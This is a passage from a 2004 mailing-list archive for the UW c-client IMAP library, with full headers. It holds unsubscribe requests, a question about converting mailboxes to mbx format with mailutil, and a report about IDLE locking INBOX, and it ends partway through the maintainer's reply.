(invoked by user mailnull) for mailarch+c-client; Thu, 1 Apr 2004 11:24:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31JOsns027684 for ; Thu, 1 Apr 2004 11:24:54 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31JOpOE015986 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 1 Apr 2004 11:24:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i31JNUtf015420; Thu, 1 Apr 2004 11:23:30 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31JMQFn052824 for ; Thu, 1 Apr 2004 11:22:26 -0800 Received: from webshield.advantageline.com (web1.advantageline.com [63.97.81.20]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i31JMNct002170 for ; Thu, 1 Apr 2004 11:22:23 -0800 Received: from unknown(172.21.10.5) by webshield.advantageline.com via csmap id 07744d3a_8412_11d8_81e0_0030482531ec_30041; Thu, 01 Apr 2004 13:23:18 -0600 (CST) Received: from JeffsLaptop ([172.21.30.219]) by advantageline.com (Express Mail Server V7.34) with ESMTP id JGA74548 for ; Thu, 01 Apr 2004 13:22:17 -0600 Message-Id: <006b01c4181e$a71bd0c0$db1e15ac@JeffsLaptop> Date: Thu, 1 Apr 2004 13:22:19 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff Garaas" To: Subject: unsubscribe MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_006C_01C417EC.5C8160C0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XXII, Probability=22%, Report='HTML_90_100 1.582, PRIORITY_NO_NAME 0.716, BIG_FONT 0.146, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CTYPE_MULTIPART_ALT 0, __EVITE_CTYPE 0, __NEXTPART_ALL 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __NEXTPART_NORMAL 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_META 0, __MIME_HTML 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_HEAD 0, __HAS_MSGID 0, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_006C_01C417EC.5C8160C0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit --------------------------------- Jeff Garaas Network Administrator Call_Solutions 701-774-4000 ------=_NextPart_000_006C_01C417EC.5C8160C0 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

     

     

    ---------------------------------

    Jeff Garaas

    Network Administrator

    Call_Solutions

    701-774-4000

     

    ------=_NextPart_000_006C_01C417EC.5C8160C0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Apr 2 00:55:36 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Apr 2004 00:55:36 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i328taQm026306 for ; Fri, 2 Apr 2004 00:55:36 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i328tY1k012224 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 2 Apr 2004 00:55:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i328sTVN016986; Fri, 2 Apr 2004 00:54:30 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i328rHmM094014 for ; Fri, 2 Apr 2004 00:53:17 -0800 Received: from mailhub1.qub.ac.uk (isaiah.qub.ac.uk [143.117.143.16]) by mxu3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i328rGV8007104 for ; Fri, 2 Apr 2004 00:53:16 -0800 Received: from fujin.qub.ac.uk ([143.117.14.43]) by mailhub1.qub.ac.uk with esmtp (Exim 4.20) id 1B9KQH-00021x-Hf for c-client@u.washington.edu; Fri, 02 Apr 2004 08:53:09 +0000 Received: from [143.117.9.203] (helo=clive) by fujin.qub.ac.uk with esmtp (Exim 3.35 #1) id 1B9KQG-0001Vi-00 for c-client@u.washington.edu; Fri, 02 Apr 2004 08:53:08 +0000 Message-Id: <000901c4188f$ee429f30$cb09758f@clive> Date: Fri, 2 Apr 2004 09:53:12 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Clive McDowell" To: Subject: Converting from unix to mbx format In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: / (0.0) X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __HAS_MSGID 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Folks, sorry this is mailbox format related rather than a c-client issue but I thought this would be a good list to ask. We want to convert all the inboxes on a Solaris 8 platform from standard unix to mbx format. There are already a few inboxes in that format and our exim MTA is set up to deliver to such inboxes if they exist. Is the best approach to use mailutil for each user? e.g. mailutil move /var/mail/joesoap #driver.mbx/home/joesoap/INBOX Are there any other options? Thanks, Clive McDowell Information Services The Queen's University of Belfast -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Apr 3 15:27:50 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 3 Apr 2004 15:27:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i33NRo1q011807 for ; Sat, 3 Apr 2004 15:27:50 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i33NRk1O018353 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 3 Apr 2004 15:27:47 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i33NQrCR017352; Sat, 3 Apr 2004 15:26:53 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i33NNsrn041644 for ; Sat, 3 Apr 2004 15:23:54 -0800 Received: from rosa.unet.brandeis.edu (rosa.unet.brandeis.edu [129.64.99.167]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i33NNqtF015326 for ; Sat, 3 Apr 2004 15:23:53 -0800 Received: from sam.unet.brandeis.edu (sam.unet.brandeis.edu [129.64.99.130]) by rosa.unet.brandeis.edu (8.12.11/8.12.11) with ESMTP id i33NNoqN008575; Sat, 3 Apr 2004 18:23:50 -0500 Received: from sam.unet.brandeis.edu (IDENT:61039@localhost.localdomain [127.0.0.1]) by sam.unet.brandeis.edu (8.12.8/8.12.8) with ESMTP id i33NNovp001892; Sat, 3 Apr 2004 18:23:50 -0500 Received: (from sahil@localhost) by sam.unet.brandeis.edu (8.12.8/8.12.8/Submit) id i33NNngn001890; Sat, 3 Apr 2004 18:23:49 -0500 Message-Id: <20040403232349.GA1709@brandeis.edu> Date: Sat, 3 Apr 2004 18:23:49 -0500 Reply-To: "sahil@brandeis.edu" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sahil Tandon To: Clive McDowell Cc: c-client@u.washington.edu Subject: Re: Converting from unix to mbx format In-Reply-To: <000901c4188f$ee429f30$cb09758f@clive> References: <000901c4188f$ee429f30$cb09758f@clive> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, Apr 02, 2004 at 09:53:12AM +0100, Clive McDowell wrote: > mailutil move /var/mail/joesoap #driver.mbx/home/joesoap/INBOX > > Are there any other options? AFAIK, if an emtpy mbx format INBOX exists in /home/$user/INBOX, an imap connection to the server will cause the mbx driver to "automatically snarf" the contents of /var/mail/$user -> /home/$user/INBOX. Search comp.mail.imap for "advantages/disadvantages of mbox driver?" to read some relevant posts by Mark Crispin, et al. -- Sahil Tandon From pinedev@shivax2.cac.washington.edu Mon Apr 5 12:35:24 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Apr 2004 12:35:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i35JZOJ6004626 for ; Mon, 5 Apr 2004 12:35:24 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i35JZNh8003291 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 5 Apr 2004 12:35:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i35JYY0g016444; Mon, 5 Apr 2004 12:34:34 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i35JUpD1045242 for ; Mon, 5 Apr 2004 12:30:51 -0700 Received: from fed1rmmtao04.cox.net (fed1rmmtao04.west.cox.net [68.230.241.35]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i35JUmYd027605 for ; Mon, 5 Apr 2004 12:30:48 -0700 Received: from smtp.west.cox.net ([172.18.180.55]) by fed1rmmtao04.cox.net (InterMail vM.6.01.03.01 201-2131-111-101-20040311) with SMTP id <20040405193046.SHT25788.fed1rmmtao04.cox.net@smtp.west.cox.net> for ; Mon, 5 Apr 2004 15:30:46 -0400 Message-Id: <20040405193046.SHT25788.fed1rmmtao04.cox.net@smtp.west.cox.net> Date: Mon, 5 Apr 2004 15:30:46 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: To: c-client@u.washington.edu Subject: unsubscribe MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, NO_REAL_NAME 0.000, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 5 15:52:32 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Apr 2004 15:52:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i35MqWjA014356 for ; Mon, 5 Apr 2004 15:52:32 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i35MqUbO013189 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 5 Apr 2004 15:52:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i35MpMcd012268; Mon, 5 Apr 2004 15:51:22 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i35Mo6cO049510 for ; Mon, 5 Apr 2004 15:50:06 -0700 Received: from hotmail.com (bay12-f52.bay12.hotmail.com [64.4.35.52]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i35Mo564007293 for ; Mon, 5 Apr 2004 15:50:05 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 5 Apr 2004 15:50:05 -0700 Received: from 202.180.83.6 by by12fd.bay12.hotmail.msn.com with HTTP; Mon, 05 Apr 2004 22:50:05 GMT Message-Id: Date: Tue, 06 Apr 2004 10:50:05 +1200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "matthew hunter" To: c-client@u.washington.edu Subject: unsubscribe Mime-Version: 1.0 Content-Type: text/html X-Originating-IP: [202.180.83.6] X-Originating-Email: [mattat119@hotmail.com] X-Sender: mattat119@hotmail.com X-OriginalArrivalTime: 05 Apr 2004 22:50:05.0515 (UTC) FILETIME=[567E61B0:01C41B60] X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='FROM_ENDS_IN_NUMS 0.001, __HAS_MSN_RCVD_DAV 0, __HAS_MSGID 0, __OUTLOOK_MSGID_2 0, __SANE_MSGID 0, __HAS_MSN_FROM 0, __FROM_ENDS_IN_NUMS 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT 0, __CTYPE_HTML 0, __CTYPE_IS_HTML 0, __HAS_XOIP 0, __HAS_MSN_ORIG_EMAIL 0, __HAS_XOAT 0, SIGNATURE_SHORT_DENSE 0, __MIME_HTML_ONLY 0, __MIME_HTML 0, __TAG_EXISTS_HTML 0, __RCVD_BY_HOTMAIL 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


     


    Check out news, entertainment and more on the Xtra Broadband Channel -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 6 00:25:28 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Apr 2004 00:25:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i367PSdp031654 for ; Tue, 6 Apr 2004 00:25:28 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i367PQh9029127 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 6 Apr 2004 00:25:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i367NwYw011302; Tue, 6 Apr 2004 00:23:58 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i367LGAB064708 for ; Tue, 6 Apr 2004 00:21:16 -0700 Received: from vega.citec.es ([213.172.37.212]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i367LDfq011702 for ; Tue, 6 Apr 2004 00:21:15 -0700 Received: from respaldo (osiris-dmz.citec.es [213.172.37.215]) by vega.citec.es (8.11.6/8.11.6) with SMTP id i367L7t31568 for ; Tue, 6 Apr 2004 09:21:07 +0200 Message-Id: <022901c41ba7$ba6d9a50$0801a8c0@oficina.local> Date: Tue, 6 Apr 2004 09:21:01 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Egic" To: Subject: unsubscribe References: <20040405193046.SHT25788.fed1rmmtao04.cox.net@smtp.west.cox.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.0 X-AntiVirus: checked by AntiVir Milter 1.0.6; AVE 6.24.0.7; VDF 6.24.0.88 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 6 09:24:40 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Apr 2004 09:24:40 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36GOdhC019777 for ; Tue, 6 Apr 2004 09:24:39 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36GOcQG013902 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 6 Apr 2004 09:24:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i36GLgst017160; Tue, 6 Apr 2004 09:21:56 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36GIOx7086730 for ; Tue, 6 Apr 2004 09:18:24 -0700 Received: from smtp3.pp.htv.fi (smtp3.pp.htv.fi [213.243.153.173]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36GI1ZM003579 for ; Tue, 6 Apr 2004 09:18:22 -0700 Received: from atp.fi (cs78163191.pp.htv.fi [62.78.163.191]) by smtp3.pp.htv.fi (Postfix) with ESMTP id 009DF27C4EB for ; Tue, 6 Apr 2004 19:18:01 +0300 (EEST) Message-Id: <4072D822.6080900@atp.fi> Date: Tue, 06 Apr 2004 19:17:38 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ere Maijala To: c-client@u.washington.edu Subject: IDLE support problem MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, My server is running UW imapd 2003.338rh. I just noticed a problem with the IDLE command. It seems that if there are two connections to the server, and one of them has for example INBOX selected and in IDLE mode, another connection can't gain read-write access to the INBOX. No kiss of death is issued on the IDLE connection. Is this deliberate? I forgot a mail client running at home when I went to work, and wasn't able to process my mails there because the system at home had a couple of mailboxes selected and IDLE. Ere -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 6 10:17:42 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Apr 2004 10:17:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36HHghm022803 for ; Tue, 6 Apr 2004 10:17:42 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36HHeVE016000 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 6 Apr 2004 10:17:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i36HG4De015034; Tue, 6 Apr 2004 10:16:04 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36HF21p027978 for ; Tue, 6 Apr 2004 10:15:05 -0700 Received: from mail.camgsm.com.kh (mailmx.camgsm.com.kh [203.144.65.11]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36HEu16023432 for ; Tue, 6 Apr 2004 10:14:59 -0700 Received: from iobreman (ws150-5.camgsm.com.kh [23.0.150.5] (may be forged)) by mail.camgsm.com.kh (8.12.3/8.12.3) with SMTP id i36HEpOr031867 for ; Wed, 7 Apr 2004 00:14:52 +0700 Message-Id: <018101c41bfa$22670f90$05960017@iobreman> Date: Wed, 7 Apr 2004 00:10:59 +0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "breman" To: Subject: unsubscribe References: <20040405193046.SHT25788.fed1rmmtao04.cox.net@smtp.west.cox.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __HAS_MSGID 0, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, MAY_BE_FORGED 0.000' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 6 10:59:04 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Apr 2004 10:59:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36Hx38E025669 for ; Tue, 6 Apr 2004 10:59:03 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36Hx2jg018420 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 6 Apr 2004 10:59:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i36HuehI012584; Tue, 6 Apr 2004 10:56:40 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36HtaHO052916 for ; Tue, 6 Apr 2004 10:55:36 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36HtYZe007576 for ; Tue, 6 Apr 2004 10:55:35 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36HtXrp030542; Tue, 6 Apr 2004 10:55:33 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i36HtXSE004966 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 6 Apr 2004 10:55:33 -0700 Message-Id: Date: Tue, 6 Apr 2004 10:53:31 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ere Maijala Cc: c-client@u.washington.edu Subject: Re: IDLE support problem In-Reply-To: <4072D822.6080900@atp.fi> References: <4072D822.6080900@atp.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 6 Apr 2004, Ere Maijala wrote: > My server is running UW imapd 2003.338rh. I just noticed a problem with the > IDLE command. It seems that if there are two connections to the server, and > one of them has for example INBOX selected and in IDLE mode, another > connection can't gain read-write access to the INBOX. No kiss of death is > issued on the IDLE connection. Is this deliberate? I can't reproduce this problem with unmodified UW imapd; kiss of death works fine 